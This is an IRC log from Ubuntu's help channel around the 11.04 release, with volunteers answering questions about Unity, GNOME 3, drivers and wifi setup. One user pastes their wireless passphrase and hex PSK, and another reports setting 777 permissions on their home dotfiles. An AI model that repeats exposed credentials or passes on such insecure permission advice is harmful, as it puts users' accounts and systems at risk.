[21:30] <beta__> I've now installed the package linux-crashdump.. Just wait till an other freeze comes?
[21:30] <celthunder> chaospsychex: rmmod <current driver>;modprobe <new one>
[21:30] <GreeNtooTH> instead of psk go to passphrase should work no problem
[21:30] <area51pilot> celthunder: can i list from term?
[21:31] <lubuntu> GreeNtooTH,  its work on lxde but i wonna run on openbox without panel and give thos error
[21:31] <chaospsychex> celthunder: how do i list the available drivers that can be loaded?
[21:31] <celthunder> area51pilot: are you uing proprietary drivers for your card?
[21:31] <area51pilot> celthunder: I believe so
[21:31] <celthunder> area51pilot: switch to th open source ones then try
[21:31] <blz> GreeNtooTH:  iwconfig:  unkonwn command "passphrase"
[21:32] <nixot> My touch screen isn't working on my tablet computer (clicks aren't registered) and attaching a mouse I can't click either... any help please?
[21:32] <celthunder> chaospsychex: what gui are you using and what's currently loaded?
[21:32] <area51pilot> celthunder: ok ... im going into failesafe mode now
[21:32] <chaospsychex> celthunder: gnome, i915 is loaded
[21:32] <celthunder> chaospsychex: go into fallback mode does that work?
[21:32] <celthunder> chaospsychex: perhaps your card can't handle gnome 3
[21:33] <beta__> can nobody help me here?
[21:33] <GreeNtooTH> edit your "wpa_supplicant.conf" then retry
[21:33] <chaospsychex> celthunder: it can, didn't have this issue with 10.10
[21:33] <blz> !patience|beta__
[21:33] <sine_> hi guys. i just installed ubuntu but it said i do not have the hardware to run unity. i have just bought a new asus with i7 8GB RAM and nvidia geforce gtx 460M
[21:33] <ubottu> beta__: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[21:33] <ikonia> beta__: take a stack trace on the kernel
[21:33] <chaospsychex> celthunder: you mean 'safe mode" ?
[21:33] <ikonia> beta__: you know how to work with the kernel, take a stack trace
[21:33] <celthunder> chaospsychex: i mean gnome3 in fallback mode
[21:33] <nixot> My touch screen isn't working on my tablet computer (clicks aren't registered) and attaching a mouse I can't click either... any help please?
[21:33] <chaospsychex> celthunder: do i select that from the login screen ?
[21:34] <beta__> @ikonia: thanks for the reply. I didnt understand that correctly, so what must I do?
[21:34] <celthunder> chaospsychex: no
[21:34] <mnassif> Hi , i tried to install ubuntu 11.04  but it freeze in timezone window. I am using a Dell t7400
[21:34] <chaospsychex> celthunder: how?
[21:34] <Froq> mnassif, how long does it freeze?  have you let it sit there for a while
[21:34] <Froq> ?
[21:34] <nixot> My touch screen isn't working on my tablet computer (clicks aren't registered) and attaching a mouse I can't click either... any help please?
[21:34] <guntbert> !repeat | nixot
[21:34] <ubottu> nixot: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[21:35] <buck_work> How do I disable Unity and go back to the standard Gnome UI?
[21:35] <lubuntu> buck_work,  must logout
[21:35] <chaospsychex> i am just going to install 10.10
[21:35] <beta__> I've find this here: http://askubuntu.com/questions/3051/how-can-i-get-a-kernel-core-dump, but this only seems to work, when there is a freeze, right?
[21:35] <lubuntu> buck_work,  and set classic gnome
[21:35] <mnassif> Froq, a let an hour
[21:35] <vhozard> I just install Ubuntu 11.04 and have a question
[21:35] <guntbert> !classic | buck_work
[21:35] <ubottu> buck_work: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[21:35] <mnassif> Froq, it is realy freeze
[21:36] <vhozard> How can I make my 23"the default monitor ?
[21:36] <celthunder> chaospsychex: delete gnome-shell or if you can accss the menu's of the garbled ui go to gnome-control-center. Open System Info > Graphics. Change Forced Fallback Mode to ON.
[21:36] <Froq> o wow... well do you have an internet connection on the machine?  also, did you perform a CD check before coming on here (it is an option when you first laod up the CD)
[21:36] <celthunder> Vhozard: xrandr
[21:36] <blz> GreeNtooTH:  this is my wpa_supplicant.conf:  network={        ssid="loldongs"        #psk="newfagscanttriforce"        psk=c9359d509dd9f61e7bc3991ff258e1f89fba92723be387f613fd6f5d1756a166}   what needs to be changed?
[21:36] <Vhozard> celthunder, I configured it via ATI catalyst suite
[21:36] <mnassif> yes,
[21:36] <beta__> I've also checked that it actualy no freeze, I can still press CTRL+ALT+F1/F3
[21:36] <celthunder> Vhozard: ouch?
[21:36] <ios32> i have a script that i need to have run automatically each time  a cd is inserted or ejected. is there a best practice way to do this?
[21:36] <Froq> mnassif, yes to both or one or the other?
[21:36] <mnassif> but i'm using a pendrive
[21:37] <Vhozard> on windows it could set the 23" screen the default (instead of the tiny 15" laptop screen)
[21:37] <celthunder> ios32: autofs i think has a way to do that
[21:37] <mnassif> can i check the pendrive?
[21:37] <Froq> mnassif, o that would make a difference, can you check the pendrive?  I have no idea on that since I have never used one... sorry, well i gotta take off sir anyways.  Peace
[21:37] <mnassif> i dont try it
[21:37] <Froq> mnassif, idk if you can or not...
[21:37] <beta__> @mnassif: when you press the caps/num lock keys, do they go on? Also can you press CTRL+ALT+F2?
[21:37] <GreeNtooTH> blz thats all correct
[21:38] <jwtiyar> how to upgrade from .ISO file to 11.04 ?
[21:38] <mnassif> i verified the donwload with the md5sum
[21:38] <mnassif> and its ok
[21:38] <blz> GreeNtooTH:  so these commands should all work, right:  sudo ifconfig wlan0 up, sudo iwconfig wlan0 essid <YOUR WIRELESS ROUTER's ESSID>, sudo iwconfig wlan0 key <YOUR KEY>, sudo dhclient wlan0
[21:38] <Vhozard> I already tried going to Monitors and selecting the 23" as default
[21:38] <Vhozard> It asks me to log out, which I do
[21:38] <Vhozard> which has no effect
[21:38] <GreeNtooTH> correct blz
[21:39] <DrDuck> Hello, guys. I've downloaded ubuntu 11.04 and things work fine. The problem is, I swapped to the Classic Gnome theme, but don't like it at all. I would like to swap back to the Unity theme, but I'm unsure of how to do this. I tried to go to the login screen settings, but did not see an option for switching back to the Unity theme, unfortunately.
[21:39] <jwtiyar> how to upgrade from .ISO file to 11.04 ?
[21:39] <mnassif> the mouse is working
[21:39] <FalsAlarm> how do i install gcc c++ compiler on my ubuntu?
[21:39] <blackbit> burn iso, reboot, start the livecd
[21:39] <beta___> Goodnight all
[21:39] <blz> GreeNtooTH:  and just to make sure i'm not doing anything wrong, what exactly needs to go in the <YOUR KEY> section of "sudo iwconfig wlan0 key <YOUR KEY>" ?
[21:39] <blz> a hex key?  passphrase?
[21:40] <blackbit> then it will ask you if you want to install or just upgrade
[21:40] <celthunder> FalsAlarm: build-essential
[21:40] <lubuntu> DrDuck,  are you first write user name then change desktop then write password and ok
[21:40] <guntbert> !info buildessential | FalsAlarm
[21:40] <ubottu> FalsAlarm: Package buildessential does not exist in natty
[21:40] <guntbert> !info build-essential | FalsAlarm
[21:40] <mnassif> i saw an error about cant read the ntfs partition
[21:40] <ubottu> FalsAlarm: build-essential (source: build-essential): Informational list of build-essential packages. In component main, is optional. Version 11.5ubuntu1 (natty), package size 5 kB, installed size 48 kB
[21:40] <jibadeeha> really liking the Faenza icon set - fits really nicely with unity
[21:40] <blz> GreeNtooTH:  because I'm still getting Error for wireless request "Set Encode" (8B2A):  SET failed on device wlan0 ; Invalid argument.
[21:40] <buck_work> Well, that was an odd lag spike.
[21:40] <FalsAlarm> k
[21:40] <FalsAlarm> thanks
[21:41] <GreeNtooTH> sudo ifconfig wlan0 up &&iwconfig wlan0 essid (essid) key (psk)
[21:41] <blz> GreeNtooTH:  ok trying that...
[21:41] <DrDuck> lubuntu: I didn't quite understand what you said. Could you rephrase it?
[21:41] <GreeNtooTH> try like ive put sudo ifconfig wlan0 up && iwconfig wlan0 essid (essid) key (psk)
[21:42] <lubuntu> DrDuck,  i say when you write user name the combobox to choice desktop will be active to change
[21:42] <blz> GreeNtooTH:  SET failed on device wlan0; operation not permitted
[21:42] <lubuntu> then you choice unity
[21:43] <buck_work> Not sure if you guys got my question the first time, so I'll be bad and repost it: How do I disable Unity and go back to the traditional Gnome UI?
[21:43] <botcity> !classic | DrDuck, just select ubuntu instead of classic ..
[21:43] <ubottu> DrDuck, just select ubuntu instead of classic ..: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[21:43] <xangua> buck_work: select 'classic' desktop on login screen
[21:43] <DrDuck> lubuntu: I think my problem is that I installed gnome 3. I need to uninstall it so that I'll have the Unity option again. Unity is broken with gnome 3.
[21:43] <buck_work> Ahhh, got it. Thanks lubuntu, xangua
[21:43] <lubuntu> buck_work,  you must logout from ubuntu and then change on classic desktop = gnome
[21:44] <lubuntu> DrDuck,  maby sudo apt-get install unity ?
[21:44] <GreeNtooTH> iwpriv wlan0 set AuthMode=WPA2PSK
[21:45] <DrDuck> lubuntu: Thanks. I will try it. First I'm going to try to figure out how to uninstall Gnome3.
[21:45] <blz> GreeNtooTH:  that's a command?
[21:45] <GreeNtooTH> yes
[21:45] <blz> GreeNtooTH:  wlan0     no private ioctls
[21:46] <GreeNtooTH> sudo nano /etc/network/interfaces
[21:47] <jwmto> ActionParsnip?
[21:47] <chaospsyhcex> celthunder: there is not 'system info' in the gnome-control-center
[21:47] <blz> GreeNtooTH:  http://paste.ubuntu.com/602488/
[21:47] <Mali> erm hey, I mounted a ntfs partitoin it seems with -o loop and it won't umount.. and I can't install natty because of it... now when I killed the handle with fuser.. I now get stale bla bla NFS thingy
[21:48] <sine_> hello guys. when i started ubuntu it says i do not have the hardware to run unity. what is unity and what is it about my geforce gtx 460m with i7 and 8gb of ram that wont run it
[21:48] <blz> GreeNtooTH:  i see no mention of wlan0 in that file...
[21:49] <binoy> ubuntuone not working. please help.
[21:49] <GreeNtooTH> replace the lot with this
[21:49] <GreeNtooTH> auto wlan0
[21:49] <fcuk112> what params do i pass ls to just get the file/folder names?
[21:50] <botcity> unity | sine_
[21:50] <blz> GreeNtooTH:  the entire file should be replaced with "auto wlan0" ?
[21:50] <GreeNtooTH> iface wlan0 inet dhcp
[21:50] <botcity> !unity | sine_
[21:50] <ubottu> sine_: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[21:50] <Mahjongg> !unity
[21:50] <blz> GreeNtooTH:  could you pastebin it please?  I'm afraid i"ll miss a line
[21:50] <GreeNtooTH> how you do that new to this
[21:50] <Mahjongg> when using unity, is there a way to get a list of running applications, similar to task lister in gnome applets?
[21:51] <blz> GreeNtooTH:  sorry?
[21:51] <lubuntu> Mahjongg,  you can write i search
[21:51] <blz> GreeNtooTH:  oh I understand.  go to paste.ubunto.com and type out what you want me to replace my file with.  Then press "paste" and give me the link
[21:51] <lubuntu> Mahjongg,  in*
[21:51] <GreeNtooTH> got it
[21:51] <blz> GreeNtooTH:  and thanks for your help, btw!
[21:51] <lubuntu> Mahjongg,  write 'monitor'
[21:52] <xangua> Mahjongg: they appear in the launcher
[21:52] <profundo> I have just upgraded to 11.04 and on unity there are no toolbars anywhere, I just see a desktop. Moving the mouse to the edges of the screen doesn't do anything. I am using an nvidia 8600M GT. Is this a known problem?
[21:52] <Mahjongg> xangua, launcher?
[21:52] <Mahjongg> xangua, oh the panel on left. No some of them don't appear there
[21:52] <watsoncj> profundo: I had to reboot once after installing before unity came up
[21:53] <Mahjongg> xangua, try xchat with iconize on close enabled
[21:53] <profundo> oh right, I have rebooted quite a few times, but still not seeing it
[21:54] <blz> GreeNtooTH:  how's it working out?
[21:55] <Braiam> profundo: try changing to gnome classic
[21:55] <blz> GreeNtooTH:  is this what you wanted me to change my /etc/network/interfaces to?  http://paste.ubuntu.com/602491/
[21:55] <buck_work> Well, one problem solved, way too many more to go. *sigh* I'm back in Ubuntu classic, and nothing works on my second monitor.
[21:55] <buck_work> I get the top and bottom bars, and my desktop, but no window manager, no widgets (they all crash and won't reload)...
[21:55] <buck_work> Applications I launch there won't get focus so I can't use them...
[21:55] <profundo> Braiam: I am on ubuntu classic now and that works fine. But it would be nice to be able to use unity
[21:56] <sine_> ubottu: thanks, i will start now, i think its because i did not choose to install third party and thus nvidia drivers so it would not work
[21:56] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[21:56] <sine_> fingers crossed
[21:56] <Mahjongg> liked unity a lot! it needs bug fixes though...
[21:57] <Buddhacz> sine: you have to install nvidia drivers 4 sure
[21:57] <Trackymaniac> Hi
[21:57] <Buddhacz> sine: sudo apt-get install nvidia-current nvidia-current-modaliases nvidia-settings
[21:58] <GreeNtooTH> http://paste.ubuntu.com/602494/
[21:58] <zerwas> Which file should be edited for changes to fglrx from Ubuntu 10.10 upwards?
[21:58] <Trackymaniac> anyone care to help? I can't pick "Ubuntu Netbook edition" in the windows Wubi installer. The version is 11.04. Anyone have time? thx
[21:58] <blz> GreeNtooTH, ok trying that now.  and then I run the same command?
[21:58] <GreeNtooTH> no then run dhclient wlan0
[21:59] <zerwas> Should a file be created in /usr/share/X11/xorg.conf.d/ to add xorg.conf options for my graphics card?
[21:59] <Buddhacz> Trackymaniac: there is no Netbook edition
[21:59] <Trackymaniac> No netbook edition of the 11.04.. or?
[21:59] <sine_> Buddhacz: i have them installed now. i have rebooted but i cant see any difference i will check out the website to see how this baby rides
[21:59] <Buddhacz> Trackymaniac: http://ubuntu-with-wubi.blogspot.com/2011/04/no-more-netbook-edition-on-natty.html
[21:59] <sathamurka> hi guys
[21:59] <Trackymaniac> thank you Buddhacz.. hadn't noticed
[21:59] <blz> GreeNtooTH:  and the 'yourpsk' line... is tthat the hex key or the passphrase?
[21:59] <Laggg> i needs the help
[21:59] <Buddhacz> Trackymaniac: no Netbook for Wubi
[22:00] <Buddhacz> Trackymaniac: noprob
[22:00] <zarathaz> Anyone know why my C++ code won't compile (just hello world program) I type g++ test.cpp -o test into the terminal, then ./test.cpp and I get errors.."using: command not found" .. but there aren't any in the source
[22:00] <Laggg> im on 11.04 and i chose 'ubuntu classic'
[22:00] <Laggg> and now ... no compiz?
[22:00] <sathamurka> i tried to install gnome3 on 11.04
[22:00] <sathamurka> it is messed up
[22:00] <vanguard> how can I disable password strength checking so that I can use "hello" as a password?
[22:01] <sathamurka> please any once help
[22:01] <vanguard> sathamurka: via a PPA?
[22:01] <GreeNtooTH> sudo /etc/init.d/networking restart
[22:01] <sathamurka> yes
[22:01] <Buddhacz> Trackymaniac: I have tried Unity on my netbook and I was not very satisfied either...
[22:01] <GreeNtooTH> sudo dhclient wlan0
[22:01] <vanguard> sathamurka: what do you mean with "messed up"?
[22:01] <Mocqueroelise> 11.04.. wireless not working.. trying to connect.. but cant.. any solution?
[22:01] <sathamurka> hi vanguard
[22:01] <profundo> zarathaz: should it not be ./test rather than ./test.cpp
[22:02] <sathamurka> could not update ICEauthority file
[22:02] <Buddhacz> vanguard: sudo passwd user
[22:02] <sathamurka> im getting this message
[22:02] <sathamurka> after reboot
[22:02] <Buddhacz> vanguard: root can set whatever password to any user
[22:02] <vanguard> Buddhacz: right, root can do everything :-)
[22:02] <Laggg> yeah i got those errors when trying to downgrade
[22:03] <Buddhacz> vanguard: sudo rm -f /bin/laden :D
[22:03] <Trackymaniac> Buddhacz the problem is that the 11.04 runs pretty slowly on my netbook..
[22:03] <sathamurka> after upgrading to 11.04
[22:03] <zarathaz> tried ./test.cpp, same thing
[22:03] <sathamurka> it unity is sucks
[22:03] <profundo> not ./test.cpp, just ./test
[22:03] <sathamurka> gnome3 is killing me
[22:04] <Trackymaniac> which newest version is sans unity?
[22:04] <vanguard> sathamurka: unity seems to be a pretty polarizing issue :D
[22:04] <profundo> you made the output file test didn't you? with -o test
[22:04] <sathamurka> guys help me in resolving this issue
[22:04] <sathamurka> could not update ICEauthority file /home/user/.ICEauthority
[22:04] <blz> GreeNtooTH:  and the 'yourpsk' line... is tthat the hex key or the passphrase?
[22:05] <YankDownUnder> If Gnome3 is killing ya, there's a tweak util that will put yer Gnome3 back to the same (basically) as Gnome2
[22:05] <GreeNtooTH> hex
[22:05] <sathamurka> i don't want to reinstall again
[22:05] <blz> GreeNtooTH;  ok better change that
[22:05] <Buddhacz> Trackymaniac: I have switched back to 10.04 and replaced kernel with 2.6.38-8 and nVidia with 270
[22:05] <sathamurka> i have already about 5 time
[22:05] <andreas-aaa> hi
[22:05] <sathamurka> for different issues
[22:06] <andreas-aaa> i have problem with my ubuntu
[22:06] <sathamurka> any help guys please
[22:06] <Mocqueroelise> cd /bin/laden ~/Desktop XD
[22:06] <sathamurka> ICEauthority
[22:06] <andreas-aaa> help with grub
[22:07] <Buddhacz> andreas-aaa: not booting?
[22:07] <helo> anyone know if banshee can upload music to zune devices?
[22:07] <Laggg> yeah so
[22:07] <Laggg> now i have no way to move windows
[22:07] <Laggg> and my windows borders are gone
[22:07] <Laggg> 11.04 (classic mode)
[22:07] <zarathaz> thanks profundo, got it working!
[22:07] <profundo> zarathaz: no prob
[22:07] <sathamurka> guys please help me in resolving "could not update ICEauthority file /home/user/.ICEauthority" issue
[22:07] <blz> GreeNtooTH:  ok now i'm getting DHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval <x>
[22:08] <GreeNtooTH> blz this first sudo /etc/init.d/networking restart
[22:08] <blz> GreeNtooTH:  i did that
[22:08] <Trackymaniac> ok Buddhacz, good to know. Just to clarify: does the 10.04 LTS download on the ubuntu website allow for me to pick the "netbook edition" from the wubi installer?
[22:09] <Buddhacz> probably yes
[22:09] <blz> GreeNtooTH:  I get the following output from the restart command:  wlan0 no private ioctls   failed to bring up wlan0
[22:09] <GreeNtooTH> ifconfig wlan0 up
[22:09] <YankDownUnder> Trackymaniac, Did you download the netbook ISO, or the desktop ISO?
[22:09] <Buddhacz> I am using classic Ubuntu, not Netbook version
[22:10] <blz> GreeNtooTH:  still the same output
[22:10] <GreeNtooTH> what card you got
[22:11] <Nrogas> ðóññêèå åñòü?
[22:11] <LjL> !ua | Nrogas
[22:11] <blz> GreeNtooTH:  not sure.  it works out of the box on the regular ubuntu desktop install.  this is a minimal install
[22:11] <LjL> uhm
[22:11] <LjL> !ru | Nrogas
[22:11] <ubottu> Nrogas: Пожалуйста посетите #ubuntu-ru для получения помощи на русском языке  / Pozhalujsta posetite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke
[22:11] <sathamurka> ##pentaho
[22:11] <GreeNtooTH> check your additional driver and install
[22:12] <Nrogas>  :@
[22:12] <blz> GreeNtooTH;  how do I do that?
[22:12] <blz> GreeNtooTH:  this is cli-only... i usually use jockey-gtk
[22:14] <dob_> what will i have to allow in iptables to remove this log message: IN= OUT=eth0 SRC=46.6.19.231 DST=217.222.221.76 LEN=84 TOS=0x00 PREC=0x00 TTL=64 ID=47324 PROTO=ICMP TYPE=0 CODE=0 ID=15983 SEQ=2
[22:15] <MrKeuner> !unity
[22:15] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[22:15] <dob_> thought INPUT icmp 0 and 0 will be enough
[22:15] <dob_> and 8
[22:16] <dob_> SRC is my server
[22:16] <epcom> Claudinha
[22:18] <IsmAvatar> Hey guys, my NVidia driver is "Enabled but not in use". How do I put it in use?
[22:19] <nanuganga> hi
[22:19] <nanuganga> >	guys please help me in resolving "could not update ICEauthority file /home/user/.ICEauthority" issue
[22:19] <nanuganga> on 11.04
[22:19] <booginga> hey all i haev a question about the calanderserver package. I just installed version 11.04 and im having some python lib issues... I would really like to get this working and prevent my company from buying a mac and wasting money and overall causing me headaches. Is there a version of ubuntu where this package is working without additional configuration? I would also like to avoid installing it from source so i can install updates
[22:20] <iceroot> booginga: do you get errors at the installation?
[22:20] <iceroot> booginga: or errors when starting?
[22:20] <botcity> IsmAvatar, additional drivers
[22:20] <booginga> nanuganga: have you checked the permission of that file... not to be weird i just had a bunch of issues with that recentyl
[22:20] <booginga> iceroot: its during start up
[22:21] <jonrafkind> is anyone else suffering from 'gain calibratino timeout' errors due to bad interactions between powernow-k8 and ath5k?
[22:21] <complience> hello
[22:21] <Vhozard> I really like Unity, but I can't get it working right with multi-monitor
[22:21] <complience> can the cp command create new folder directories?
[22:21] <Vhozard> Is there a way to use Unity without compiz ??
[22:21] <IsmAvatar> botcity: yes, that's how I found out that it was activated but not in use.
[22:21] <jonrafkind> compengi, cp -a
[22:21] <booginga> iceroot: first it was missing libs from python web 2 installed that then said that the dav lib could not be found
[22:21] <lucas> IsmAvatar: I use jockey (system-administration-additional drives)
[22:21] <complience> eg: cp file /home/newfolder/
[22:22] <complience> is that possible?|
[22:22] <jonrafkind> i dont think so
[22:22] <nanuganga> yes booginga
[22:22] <iceroot> booginga: i guess its a good idea to open a bug about the missing files/libs
[22:22] <iceroot> booginga: ubuntu-bug packagename
[22:22] <irule> my ubuntu upgrade made my pc unbootable, only safe mode thing and startx gives me X, how may I fix this?
[22:22] <nanuganga> i have given full 777 on user/.*
[22:22] <iceroot> booginga: thats the easiest way to get it fixed
[22:22] <Vhozard> so is it possible to use Unity without compiz ?
[22:23] <IsmAvatar> lucas: you'll have to forgive me, I can't for the life of me figure out how to navigate unity, and I've never heard of that before.
[22:23] <booginga> iceroot: sorry new to the ubuntu community have been using centos where is the correct place to post something like that
[22:23] <Axlin> Vhozard: you can install unity-2d after installation. apparently unity 2d will replace gnome as the fallback version for 11.10
[22:24] <Vhozard> oh :(
[22:24] <ramin> hey guys, I've googled this question and everything but is there any way to install gnome 3 without screwing up my unity 2d/3d installation?
[22:24] <lucas> IsmAvatar: just type in a terminal jockey-gtk
[22:24] <Vhozard> Axlin, thanks I will try that
[22:25] <lucas> IsmAvatar: As of unity, I really don't like it... Makes my laptop like a BIG cellphone ;)
[22:25] <IsmAvatar> lucas: tell me about it, lol
[22:25] <botcity> IsmAvatar, additional drivers has a button to press to activate it
[22:26] <IsmAvatar> lucas: jockey-gtk takes me to the Additional Drivers window that botcity already got me to
[22:26] <iceroot> booginga: just run "ubuntu-bug packagename" its a wizzard for creating a bug
[22:26] <IsmAvatar> botcity (and lucas): It's already activated, as I said. It's just "not currently in use". So the "Activate" button doesn't say activate, it says "remove"
[22:26] <sine_> anyone here have an asus g53j
[22:27] <nanuganga> don't go for gnome3
[22:27] <ramin> why not?
[22:27] <nanuganga> ramin
[22:27] <lucas> IsmAvatar: why don't you try in a terminal sudo nvidia-xconfig
[22:27] <nanuganga> i have messed my system
[22:27] <ramin> i have all my stuff backed up
[22:27] <lucas> IsmAvatar: You have to reboot for the changes to take effect
[22:27] <ikonia> !away > zz_eagles0513875
[22:27] <ubottu> zz_eagles0513875, please see my private message
[22:28] <IsmAvatar> lucas: I haven't made any changes yet...
[22:28] <nanuganga> you will end up with "could not update ICEauthority file /home/user/.ICEauthority" issue
[22:28] <ramin> didn't you like gnome 3 over unity tho?
[22:28] <genewitch> 11.04 doesn't ever get to desktop after install, what can i do to troubleshoot?
[22:28] <IsmAvatar> lucas: it was already this way
[22:28] <rickkeh> hi
[22:28] <IsmAvatar> lucas: http://pastebin.com/YF14057Z
[22:29] <sine_> im getting no sound on my laptop
[22:30] <nanuganga> ok guys
[22:30] <wolfreak_99> Hi guys, I came to ask a question (I've googled around beforehand for about 10 minutes).. You know how programs get installed to the /usr/bin file? Would there be any way of making it install into the home directory? (Not the settings, the entire program, say /home/joe/MyPrograms/Firefox)
[22:30] <lucas> IsmAvatar: you didn't run with sudo!
[22:30] <IsmAvatar> you didn't tell me to, lol
[22:30] <nanuganga> it is time to reinstall ubuntu 11.04
[22:30] <gardner> howdy
[22:30] <ramin> lol
[22:31] <IsmAvatar> lucas: didn't help. Moment while I pastebin.
[22:31] <nanuganga> i guess i don't have any other option :-9
[22:31] <nanuganga> :-(
[22:31] <ramin> I have a radeon x300
[22:31] <IsmAvatar> lucas: http://pastebin.com/dye9yRD9
[22:31] <ramin> was wondering if gnome 3 will run faster or unity
[22:31] <gardner> anybody have info  on how to reinstall an older version of firefox (3.6.17)?
[22:31] <nanuganga> yes
[22:31] <nanuganga> that was my guess
[22:32] <Buddhacz> wolfreak_99: you can install/extract anywhere
[22:32] <nanuganga> im frustrated with ubuntu11.04
[22:32] <gardner> probs running the *.bin file
[22:33] <lucas> IsmAvatar: OK! Now you HAVE to reboot!!!
[22:33] <IsmAvatar> nanuganga: join the club >_>
[22:33] <Buddhacz> nanuganga: you can reinstall 10.04 and then replace some packages - you get nearly the same
[22:33] <pi0tr313> hi ! is it a reboot party ?
[22:33] <wolfreak_99> Buddhacz: I mean like with deb files or synaptic. I want to install my entire programs into my home folder so when I have to reinstall ubuntu (I do it often) I won't have to lose my programs. (I have /home on a seperate partition)
[22:33] <IsmAvatar> lucas: this isn't going to kill my display, is it? That validation error isn't a concern?
[22:33] <pi0tr313> can i join ?
[22:33] <wolfreak_99> Who was asking how to install an older firefox?
[22:33] <ramin> the whole concept of going on the sidebar to change windows is such an annoyance
[22:33] <brontosaurusrex> well, kinda happier now, when i decided that unity is not for me ...
[22:33] <KM0201> ramin: just takes getting used to.
[22:34] <Buddhacz> wolfreak_99: you can symlink the entire folder
[22:34] <MustardCU> so i need /sys/bus/pci/devices/0000:00:02.0 to change ownership from root to me.  I used chown but after i restarted the ownership went back to root.  Any ideas on preventing it from going back to root?
[22:34] <IsmAvatar> ramin: especially when the darn thing keps hiding
[22:34] <nanuganga> after 7.04
[22:34] <Buddhacz> wolfreak_99: or set it to a special partition (probably not an option)
[22:34] <ramin> I don't want to get used to ineffeciency
[22:34] <nanuganga> 11.04
[22:34] <jMCg> Hello happy people.
[22:34] <lucas> IsmAvatar: for what it is, the new xorg.conf is written. could you pastebin the contents of /etc/X11/xorg.conf ?
[22:34] <Atlantic777> Hi! How can I limit network traffic for an interface for all processess? Some CLI app would be the best. :)
[22:34] <nanuganga> big turn down
[22:34] <Buddhacz> MustardCU: cannot be done
[22:35] <botcity> !cloning | wolfreak_99,
[22:35] <ubottu> wolfreak_99,: To replicate your packages selection on another machine (or restore it if re-installing), you can type « aptitude  --display-format '%p' search '?installed!?automatic' > ~/my-packages », move the file "my-packages" to the other machine, and there type « sudo xargs aptitude --schedule-only install < my-packages ; sudo aptitude install » - See also !automate
[22:35] <wolfreak_99> Buddhacz: I mean I want to have 2 partitions, one for the ubuntu system, and one for home, I like trying alot of programs and I don't want to run out of space and choose between documents and programs
[22:35] <Buddhacz> MustardCU: it is a system device, it is always rooted
[22:35] <Buddhacz> wolfreak_99: use gparted
[22:35] <IsmAvatar> lucas: http://pastebin.com/6tcnDc11
[22:35] <sine_> how can i get a list of my hardware
[22:35] <sine_> lspci ?
[22:35] <sine_> i want the soundcard
[22:36] <Atlantic777> sine_: and lspci, lsusb, lshw
[22:36] <ramin> fuck it, i'll install gnome 3, if I don't like it, I'll go back to gnome 2 since unity will be broken
[22:36] <nanuganga> guys buy
[22:36] <Buddhacz> wolfreak_99: / set as 16 GB or so, swap = 2 GB, /var may be for 5 GB and /home for the rest
[22:36] <jMCg> Since my upgrade to Natty, this laptop of mine suffers ... uh... Not being able to move or switch between Windows. (Rrunning GNOME, I tried to use the other stuff.. What's it called again? But I have no idea how to use that...)
[22:36] <nanuganga> reinstalling :-(
[22:36] <Buddhacz> sine_: lspci
[22:36] <MustardCU> buddhacz i only need it so I can change the brightness to my computer automatically (everything i try but that for the brightness is not working).  Could I change were the file is to say, /home/<user>?
[22:36] <IsmAvatar> lucas: I don't see any nulls, so I'm guessing it's good to go
[22:36] <robrrt> where is the topic?
[22:36] <lucas> IsmAvatar: yes! I think everything is ok now
[22:37] <IsmAvatar> lucas: ok, thanks, brb
[22:37] <Atlantic777> jMCg: it's called unity and you can still switch to the classic way of using it. Just choose it in login screen. ;)
[22:37] <wolfreak_99> Buddhacz: I thought programs install to /usr/bin?
[22:37] <lucas> IsmAvatar: so cross your fingers and reboot!
[22:37] <Buddhacz> MustardCU: not sure for this one
[22:37] <Buddhacz> MustardCU: /sys cannot be moved or linked
[22:38] <MustardCU> buddhacz, not even a subdirectory of it?
[22:38] <jMCg> Atlantic777: the classic way of using it is what's screwed: I cannot *move* windows. I cannot switch between two Windows, which makes it pretty hard when I start a console and a firefox. I'd have to kill off one, to use the other.
[22:38] <Buddhacz> wolfreak_99: not exactly
[22:38] <Atlantic777> jMCg: ok, do you see the title bar on windows?
[22:38] <jMCg> Atlantic777: what's screwed with Unity is that I don't know how to --- good point.
[22:39] <jMCg> oh.. great... Alt+F2 doesn't work either..
[22:39] <spooner> free the fish
[22:39] <MustardCU> jMCg, could you run programs from the terminal still?
[22:39] <Buddhacz> wolfreak_99: http://www.thegeekstuff.com/2010/09/linux-file-system-structure/
[22:39] <jMCg> w00t. That works. I can switch with the menu bar thingy.
[22:39] <jMCg> Please be gentle. I'm GUI-capped.
[22:40] <Buddhacz> MustardCU: http://www.thegeekstuff.com/2010/09/linux-file-system-structure/ same for you
[22:40] <jMCg> I use servers, and trust that my GUI stuff will at least allow me to connect to these.
[22:40] <MustardCU> Buddhacz, okay thanks
[22:40] <Buddhacz> MustardCU: very good website for knowledge IMHO
[22:41] <jMCg> So what's a good reason for Windows to not be movable?
[22:41] <IsmAvatar> I'm back. Which is good news and bad news. Who was helping me?
[22:41] <wolfreak_99> Buddhacz: I mean, look.. I download a bunch of documents (songs, porn, movies, etc), but I also download a bunch of programs (linux multimedia studio, jackd, etc) and even some that aren't in the synaptic. Everytime I do a fresh install I keep my songs porn and movies but I have to reinstall my other programs every time and it gets tedious. I have 250GB, and 60gb is for my windows (FL Studio), I have 120gb for my home, but with ha
[22:41] <IsmAvatar> lucas, that's right
[22:41] <lucas> could someone tell me what sound settings I can use for wine? It loses sound constantly
[22:41] <psalden> jMCg: I think a problem with the window-manager can cause that
